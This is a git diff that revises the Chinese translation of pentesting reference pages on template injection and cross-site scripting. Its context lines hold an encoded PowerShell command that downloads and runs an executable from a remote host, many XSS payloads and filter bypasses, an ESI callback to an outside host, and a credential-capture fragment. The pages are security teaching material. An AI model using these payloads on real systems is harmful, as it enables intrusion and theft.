* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||||
|
|
||||||
|
@ -943,7 +943,7 @@ ${x}
|
||||||
|
|
||||||
* `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
|
* `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
|
||||||
* `{{printf "%s" "ssti" }}`:预计显示字符串 "ssti"。
|
* `{{printf "%s" "ssti" }}`:预计显示字符串 "ssti"。
|
||||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [这里](https://golang.org/pkg/text/template)。
|
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -955,9 +955,9 @@ vbnet Copy code
|
||||||
|
|
||||||
**RCE Exploitation**
|
**RCE Exploitation**
|
||||||
|
|
||||||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用 “call” 值),而在 `html/template` 中不允许。有关这些模块的文档可在 [这里查看 html/template](https://golang.org/pkg/html/template/) 和 [这里查看 text/template](https://golang.org/pkg/text/template/)。
|
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用 “call” 值),而在 `html/template` 中不允许。有关这些模块的文档可在 [here for html/template](https://golang.org/pkg/html/template/) 和 [here for text/template](https://golang.org/pkg/text/template/) 中找到。
|
||||||
|
|
||||||
通过 SSTI 在 Go 中进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
通过 SSTI 在 Go 中进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,则可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# XSS (跨站脚本攻击)
|
# XSS (跨站脚本攻击)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
@ -11,27 +11,27 @@
|
||||||
1. 检查**你控制的任何值**(_参数_,_路径_,_头部_?,_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
1. 检查**你控制的任何值**(_参数_,_路径_,_头部_?,_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
||||||
2. **找到反射/使用的上下文**。
|
2. **找到反射/使用的上下文**。
|
||||||
3. 如果**被反射**:
|
3. 如果**被反射**:
|
||||||
1. 检查**你可以使用哪些符号**,并根据此准备有效载荷:
|
1. 检查**你可以使用哪些符号**,并根据此准备有效载荷:
|
||||||
1. 在**原始HTML**中:
|
1. 在**原始HTML**中:
|
||||||
1. 你能创建新的HTML标签吗?
|
1. 你能创建新的HTML标签吗?
|
||||||
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
||||||
3. 你能绕过保护措施吗?
|
3. 你能绕过保护措施吗?
|
||||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
4. HTML内容是否被任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||||
5. 如果你不能创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
5. 如果你不能创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||||
2. 在**HTML标签**内:
|
2. 在**HTML标签**内:
|
||||||
1. 你能退出到原始HTML上下文吗?
|
1. 你能退出到原始HTML上下文吗?
|
||||||
2. 你能创建新的事件/属性来执行JS代码吗?
|
2. 你能创建新的事件/属性来执行JS代码吗?
|
||||||
3. 你被困的属性是否支持JS执行?
|
3. 你被困的属性是否支持JS执行?
|
||||||
4. 你能绕过保护措施吗?
|
4. 你能绕过保护措施吗?
|
||||||
3. 在**JavaScript代码**内:
|
3. 在**JavaScript代码**内:
|
||||||
1. 你能逃离`<script>`标签吗?
|
1. 你能逃离`<script>`标签吗?
|
||||||
2. 你能逃离字符串并执行不同的JS代码吗?
|
2. 你能逃离字符串并执行不同的JS代码吗?
|
||||||
3. 你的输入是否在模板字面量\`\`中?
|
3. 你的输入是否在模板字面量\`\`中?
|
||||||
4. 你能绕过保护措施吗?
|
4. 你能绕过保护措施吗?
|
||||||
4. Javascript **函数**被**执行**
|
4. Javascript **函数**被**执行**
|
||||||
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)`
|
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)`
|
||||||
4. 如果**被使用**:
|
4. 如果**被使用**:
|
||||||
1. 你可以利用**DOM XSS**,注意你的输入是如何被控制的,以及你的**受控输入是否被任何接收器使用**。
|
1. 你可以利用**DOM XSS**,注意你的输入是如何被控制的,以及你的**受控输入是否被任何接收器使用**。
|
||||||
|
|
||||||
在处理复杂的XSS时,你可能会发现了解以下内容很有趣:
|
在处理复杂的XSS时,你可能会发现了解以下内容很有趣:
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@
|
||||||
为了成功利用XSS,首先你需要找到一个**由你控制的被反射的值**在网页中。
|
为了成功利用XSS,首先你需要找到一个**由你控制的被反射的值**在网页中。
|
||||||
|
|
||||||
* **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用**反射XSS**。
|
* **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用**反射XSS**。
|
||||||
* **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用**存储XSS**。
|
* **存储和反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用**存储XSS**。
|
||||||
* **通过JS访问**:如果你发现一个由你控制的值正在通过JS访问,你可以利用**DOM XSS**。
|
* **通过JS访问**:如果你发现一个由你控制的值正在通过JS访问,你可以利用**DOM XSS**。
|
||||||
|
|
||||||
## 上下文
|
## 上下文
|
||||||
|
@ -53,17 +53,17 @@
|
||||||
|
|
||||||
### 原始HTML
|
### 原始HTML
|
||||||
|
|
||||||
如果你的输入在**原始HTML**页面上被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的HTML标签中的一些。\
|
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的HTML标签中的一些。\
|
||||||
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
||||||
|
|
||||||
### 在HTML标签属性内
|
### 在HTML标签属性内
|
||||||
|
|
||||||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||||
|
|
||||||
1. **逃离属性和标签**(然后你将处于原始HTML中)并创建新的HTML标签进行利用:`"><img [...]`
|
1. **从属性和标签中逃脱**(然后你将处于原始HTML中)并创建新的HTML标签进行利用:`"><img [...]`
|
||||||
2. 如果你**能逃离属性但不能逃离标签**(`>`被编码或删除),根据标签你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
2. 如果你**可以从属性中逃脱但不能从标签中逃脱**(`>`被编码或删除),根据标签你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||||
3. 如果你**无法逃离属性**(`"`被编码或删除),那么根据**哪个属性**你的值被反射,以及**你是否控制整个值或仅部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
3. 如果你**无法从属性中逃脱**(`"`被编码或删除),那么根据**哪个属性**你的值被反射以及**你是否控制整个值或仅部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||||
4. 如果你的输入在“**不可利用的标签**”内被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社会工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
4. 如果你的输入在“**不可利用的标签**”内被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||||
|
|
||||||
如果你控制一个类名,Angular执行XSS的奇怪例子:
|
如果你控制一个类名,Angular执行XSS的奇怪例子:
|
||||||
```html
|
```html
|
||||||
|
@ -75,8 +75,8 @@
|
||||||
|
|
||||||
在这种情况下,您的输入在 HTML 页面中的 **`<script> [...] </script>`** 标签之间、`.js` 文件中或使用 **`javascript:`** 协议的属性中被反射:
|
在这种情况下,您的输入在 HTML 页面中的 **`<script> [...] </script>`** 标签之间、`.js` 文件中或使用 **`javascript:`** 协议的属性中被反射:
|
||||||
|
|
||||||
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离此上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离这个上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||||
* 如果反射 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,将不会执行):
|
* 如果反射 **在 JS 字符串内**,而最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||||
* `'-alert(1)-'`
|
* `'-alert(1)-'`
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
|
@ -100,11 +100,11 @@ Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会
|
||||||
|
|
||||||
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||||
|
|
||||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable')并在控制台中查找错误,例如:
|
找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (711).png>)
|
![](<../../.gitbook/assets/image (711).png>)
|
||||||
|
|
||||||
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||||
|
|
||||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
||||||
|
|
||||||
|
@ -120,7 +120,7 @@ parentElement
|
||||||
```
|
```
|
||||||
您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。
|
您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。
|
||||||
|
|
||||||
然而,通常执行所指示函数的端点是没有太多有趣DOM的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
|
然而,通常执行指定函数的端点是没有太多有趣DOM的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
|
||||||
|
|
||||||
因此,为了**在不同DOM中滥用此漏洞**,开发了**同源方法执行(SOME)**利用:
|
因此,为了**在不同DOM中滥用此漏洞**,开发了**同源方法执行(SOME)**利用:
|
||||||
|
|
||||||
|
@ -138,7 +138,7 @@ parentElement
|
||||||
|
|
||||||
### **通用XSS**
|
### **通用XSS**
|
||||||
|
|
||||||
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\
|
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,**读取**客户端和服务器中的**任意****文件**,等等。\
|
||||||
一些**示例**:
|
一些**示例**:
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -155,11 +155,11 @@ parentElement
|
||||||
|
|
||||||
## 在原始HTML中注入
|
## 在原始HTML中注入
|
||||||
|
|
||||||
当您的输入在**HTML页面中反射**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
当您的输入被反射**在HTML页面内**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||||
对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||||
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
||||||
|
|
||||||
在这种情况下,如果没有使用黑/白名单,您可以使用如下有效载荷:
|
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷:
|
||||||
```html
|
```html
|
||||||
<script>alert(1)</script>
|
<script>alert(1)</script>
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
|
@ -180,7 +180,7 @@ _**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\****
|
||||||
```
|
```
|
||||||
### 黑名单绕过
|
### 黑名单绕过
|
||||||
|
|
||||||
如果正在使用某种黑名单,您可以尝试通过一些简单的技巧来绕过它:
|
如果正在使用某种黑名单,您可以尝试通过一些愚蠢的技巧来绕过它:
|
||||||
```javascript
|
```javascript
|
||||||
//Random capitalization
|
//Random capitalization
|
||||||
<script> --> <ScrIpT>
|
<script> --> <ScrIpT>
|
||||||
|
@ -309,9 +309,9 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
|
||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||||
```
|
```
|
||||||
### 特殊协议在属性中
|
### 特殊协议在属性内
|
||||||
|
|
||||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
|
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
|
||||||
```javascript
|
```javascript
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
JavaSCript:alert(1)
|
JavaSCript:alert(1)
|
||||||
|
@ -365,7 +365,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||||
```
|
```
|
||||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload** 中 **混合使用**。
|
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **不会** **工作**,但你可以在 **payload** 中 **混合它们**。
|
||||||
|
|
||||||
**在 `javascript:` 中使用十六进制和八进制编码**
|
**在 `javascript:` 中使用十六进制和八进制编码**
|
||||||
|
|
||||||
|
@ -391,7 +391,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
||||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 事件处理程序绕过
|
### 关于事件处理程序绕过
|
||||||
|
|
||||||
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
|
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
|
||||||
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
|
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
|
||||||
|
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
从 [**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能 **说服** **受害者** 按下 **键组合**,你就可以在 **隐藏属性** 中执行 **XSS 载荷**。在 Firefox Windows/Linux 上,键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
从 [**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -462,7 +462,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
|
|
||||||
> \#someid {top: 0; font-family: Tahoma;}
|
> \#someid {top: 0; font-family: Tahoma;}
|
||||||
|
|
||||||
现在您可以修改我们的链接并将其带到以下形式
|
现在您可以修改我们的链接并将其带入形式
|
||||||
|
|
||||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||||
|
|
||||||
|
@ -820,12 +820,12 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||||
document['default'+'View'][`\u0061lert`](3)
|
document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS与302响应中的头注入
|
### XSS与302响应中的头部注入
|
||||||
|
|
||||||
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||||
|
|
||||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头部测试多个协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||||
已知的过去协议:`mailto://`,`//x:1/`,`ws://`,`wss://`,_空Location头_,`resource://`。
|
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||||
|
|
||||||
### 仅限字母、数字和点
|
### 仅限字母、数字和点
|
||||||
|
|
||||||
|
@ -1043,7 +1043,7 @@ trigger()
|
||||||
```
|
```
|
||||||
### 混淆与高级绕过
|
### 混淆与高级绕过
|
||||||
|
|
||||||
* **一个页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
* **一个页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
|
@ -1219,7 +1219,7 @@ body:username.value+':'+this.value
|
||||||
|
|
||||||
### Keylogger
|
### Keylogger
|
||||||
|
|
||||||
仅在github上搜索,我找到了几个不同的:
|
在github上搜索,我发现了一些不同的:
|
||||||
|
|
||||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||||
|
@ -1340,7 +1340,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### XSS 到 SSRF
|
### XSS 到 SSRF
|
||||||
|
|
||||||
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
在一个 **使用缓存** 的网站上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
|
@ -1349,7 +1349,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### 动态创建 PDF 中的 XSS
|
### 动态创建 PDF 中的 XSS
|
||||||
|
|
||||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** **执行任意 JS 代码**。\
|
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
|
||||||
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -1368,7 +1368,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
|
||||||
|
|
||||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
||||||
|
|
||||||
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
示例 [**在 Gmail 中的 Amp4Email 的 XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||||
|
|
||||||
### 上传文件中的 XSS (svg)
|
### 上传文件中的 XSS (svg)
|
||||||
|
|
||||||
|
@ -1444,7 +1444,7 @@ id="foo"/>
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -1459,7 +1459,7 @@ id="foo"/>
|
||||||
<summary>支持 HackTricks</summary>
|
